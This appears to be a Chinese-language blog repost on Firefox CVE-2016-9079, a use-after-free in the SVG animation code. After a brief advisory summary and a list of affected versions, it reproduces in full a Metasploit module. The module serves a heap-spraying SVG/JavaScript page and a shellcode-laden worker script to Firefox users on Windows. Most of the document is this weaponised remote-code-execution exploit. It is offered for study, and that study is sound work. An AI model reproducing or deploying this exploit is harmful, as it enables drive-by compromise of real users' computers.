Firefox CVE-2016-9079 漏洞及测试代码[转]

  2016年11月30日,Mozilla Firefox官网发布了一个紧急更新,修补了编号为CVE-2016-9079的漏洞。

该漏洞是一个存在于SVG动画模块中的释放后重用(UAF)漏洞,当用户使用Firefox浏览包含恶意Javascript和SVG代码的页面时,会允许攻击者在用户的机器上远程执行代码。受该漏洞影响的平台包括Windows,Mac OS以及Linux。

详情请见如下链接:

https://www.mozilla.org/en-US/security/advisories/mfsa2016-92/

Fixing an SVG Animation Vulnerability

此漏洞存在于SVG动画模块中,是一个释放后再引用(UAF)的漏洞。根据已曝光的漏洞代码来看,此漏洞影响Firefox的所有运行平台,包括Windows,Linux和Mac OS。

漏洞位于SVG动画的nsSMILTimeContainer::NotifyTimeChange()函数中。以下是触发此漏洞的简单示例代码:

 

影响的版本:

Firefox version < 50.0.2

Firefox ESR version < 45.5.1

Thunderbird version < 45.5.1

但这个东西怎么玩呢?

2017年1月,Metasploit发布了相关测试代码,贴出来,供学习参考:

EDB-ID: 41151Author: MetasploitPublished: 2017-01-24

CVE: CVE-2016-9079Type: RemotePlatform: Windows

Aliases: N/AAdvisory/Source: LinkTags: Metasploit Framework

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require ‘msf/core’

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info={})

super(update_info(info,

‘Name’           => “Firefox nsSMILTimeContainer::NotifyTimeChange() RCE”,

‘Description’    => %q{

This module exploits an out-of-bounds indexing/use-after-free condition present in

nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox

on Microsoft Windows.

},

‘License’        => MSF_LICENSE,

‘Author’         =>

[

‘Anonymous Gaijin’,                                 # Original research/exploit

‘William Webb <william_webb[at]rapid7.com>’         # Metasploit module

],

‘Platform’       => ‘win’,

‘Targets’        =>

[

[ ‘Mozilla Firefox’,

{

‘Platform’ => ‘win’,

‘Arch’     => ARCH_X86,

}

],

],

‘DefaultOptions’  =>

{

‘EXITFUNC’ => “thread”,

‘InitialAutoRunScript’ => ‘migrate -f’

},

‘References’     =>

[

[ ‘CVE’, ‘2016-9079’ ],

[ ‘Bugzilla’, ‘1321066’ ]

],

‘Arch’           => ARCH_X86,

‘DisclosureDate’ => “Nov 30 2016”,

‘DefaultTarget’  => 0

)

)

register_options(

[

OptBool.new(‘UsePostHTML’, [ true, ‘Rewrite page with arbitrary HTML after successful exploitation.  NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!’, false ]),

], self.class

)

end

 

def exploit_html(cli)

p = payload.encoded

arch = Rex::Arch.endian(target.arch)

payload_final = Rex::Text.to_unescape(p, arch, prefix=’\\u’)

base_uri = “#{get_resource.chomp(‘/’)}”

# stuff that gets adjusted alot during testing

defrag_x = %Q~

for (var i = 0; i < 0x4000; i++)

heap80[i] = block80.slice(0)

~

defrag_y = %Q~

for (var i = 0x4401; i < heap80.length; i++)

heap80[i] = block80.slice(0)

~

js = %Q~

var worker = new Worker(‘#{base_uri}/worker.js’);

var svgns = ‘http://www.w3.org/2000/svg’;

var heap80 = new Array(0x5000);

var heap100 = new Array(0x5000);

var block80 = new ArrayBuffer(0x80);

var block100 = new ArrayBuffer(0x100);

var sprayBase = undefined;

var arrBase = undefined;

var animateX = undefined;

var containerA = undefined;

var milestone_offset = 0x90;

var $ = function(id) { return document.getElementById(id); }

var heap = function()

{

var u32 = new Uint32Array(block80)

 

u32[4] = arrBase – milestone_offset;

 

u32[0xa] = arrBase + 0x1000 – milestone_offset;

 

u32[0x10] = arrBase + 0x2000 – milestone_offset;

 

var x = document.createElementNS(svgns, ‘animate’)

var svg = document.createElementNS(svgns, ‘svg’)

 

svg.appendChild(x)

svg.appendChild(x.cloneNode(true))

 

for (var i = 0; i < 0x400; i++)

{

var node = svg.cloneNode(true);

node.setAttribute(‘id’, ‘svg’ + i)

document.body.appendChild(node);

}

#{defrag_x}

 

for (var i = 0; i < 0x400; i++)

{

heap80[i + 0x3000] = block80.slice(0)

$(‘svg’ + i).appendChild(x.cloneNode(true))

}

 

for (var i = 0; i < 0x400; i++)

{

$(‘svg’ + i).appendChild(x.cloneNode(true))

$(‘svg’ + i).appendChild(x.cloneNode(true))

}

 

for (var i = 0; i < heap100.length; i++)

heap100[i] = block100.slice(0)

 

#{defrag_y}

 

for (var i = 0x100; i < 0x400; i++)

$(‘svg’ + i).appendChild(x.cloneNode(true))

}

 

var exploit = function()

{

heap();

animateX.setAttribute(‘begin’, ’59s’)

animateX.setAttribute(‘begin’, ’58s’)

animateX.setAttribute(‘begin’, ’10s’)

animateX.setAttribute(‘begin’, ‘9s’)

// money shot

containerA.pauseAnimations();

}

 

worker.onmessage = function(e)

{

worker.onmessage = function(e)

{

window.setTimeout(function()

{

worker.terminate();

document.body.innerHTML = ”;

document.getElementsByTagName(‘head’)[0].innerHTML = ”;

document.body.setAttribute(‘onload’, ”)

document.write(‘<blink>’)

}, 1000);

}

arrBase = e.data;

exploit();

}

var idGenerator = function()

{

return ‘id’ + (((1+Math.random())*0x10000)|0).toString(16).substring(1);

}

 

var craftDOM = function()

{

containerA = document.createElementNS(svgns, ‘svg’)

var containerB = document.createElementNS(svgns, ‘svg’);

 

animateX = document.createElementNS(svgns, ‘animate’)

var animateA = document.createElementNS(svgns, ‘animate’)

var animateB = document.createElementNS(svgns, ‘animate’)

 

var animateC = document.createElementNS(svgns, ‘animate’)

 

var idX = idGenerator();

var idA = idGenerator();

var idB = idGenerator();

var idC = idGenerator();

 

animateX.setAttribute(‘id’, idX);

animateA.setAttribute(‘id’, idA);

animateA.setAttribute(‘end’, ’50s’);

animateB.setAttribute(‘id’, idB);

animateB.setAttribute(‘begin’, ’60s’);

animateB.setAttribute(‘end’, idC + ‘.end’);

animateC.setAttribute(‘id’, idC);

animateC.setAttribute(‘begin’, ’10s’);

animateC.setAttribute(‘end’, idA + ‘.end’);

 

containerA.appendChild(animateX)

containerA.appendChild(animateA)

containerA.appendChild(animateB)

 

containerB.appendChild(animateC)

 

document.body.appendChild(containerA);

document.body.appendChild(containerB);

}

window.onload = craftDOM;

~

 

# If you want to change the appearance of the landing page, do it here

 

html = %Q~

<html>

<head>

<meta charset=”utf-8″/>

<script>

#{js}

</script>

</head>

<body>

</body>

</html>

~

 

if datastore[‘UsePostHTML’]

f = File.open(File.join(Msf::Config.data_directory, “exploits”, “firefox_smil_uaf”, “post.html”), “rb”)

c = f.read

html = html.gsub(“<blink>”, c)

else

html = html.gsub(“<blink>”, “”)

end

send_response(cli, html, { ‘Content-Type’ => ‘text/html’, ‘Pragma’ => ‘no-cache’, ‘Cache-Control’ => ‘no-cache’, ‘Connection’ => ‘close’ })

end

 

def worker_js(cli)

p = payload.encoded

arch = Rex::Arch.endian(target.arch)

payload = Rex::Text.to_unescape(p, arch)

wt = File.open(File.join(Msf::Config.data_directory, “exploits”, “firefox_smil_uaf”, “worker.js”), “rb”)

c = wt.read

c = c.gsub(“INSERTSHELLCODEHEREPLZ”, payload)

c = c.gsub(“NOPSGOHERE”, “\u9090”)

send_response(cli, c, { ‘Content-Type’ => ‘application/javascript’, ‘Pragma’ => ‘no-cache’, ‘Cache-Control’ => ‘no-cache’, ‘Connection’ => ‘close’ })

end

 

def is_ff_on_windows(user_agent)

target_hash = fingerprint_user_agent(user_agent)

if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/

return false

end

return true

end

 

def on_request_uri(cli, request)

print_status(“Got request: #{request.uri}”)

print_status(“From: #{request.headers[‘User-Agent’]}”)

if (!is_ff_on_windows(request.headers[‘User-Agent’]))

print_error(“Unsupported user agent: #{request.headers[‘User-Agent’]}”)

send_not_found(cli)

close_client(cli)

return

end

if request.uri =~ /worker\.js/

print_status(“Sending worker thread Javascript …”)

worker_js(cli)

return

end

if request.uri =~ /index\.html/ or request.uri =~ /\//

 

print_status(“Sending exploit HTML …”)

exploit_html(cli)

close_client(cli)

return

end

end

end

关于xmsg

技术面前人人平等.同时技术也不分高低贵贱.正所谓学无大小,达者为尊.
此条目发表在漏洞攻击分类目录,贴了, 标签。将固定链接加入收藏夹。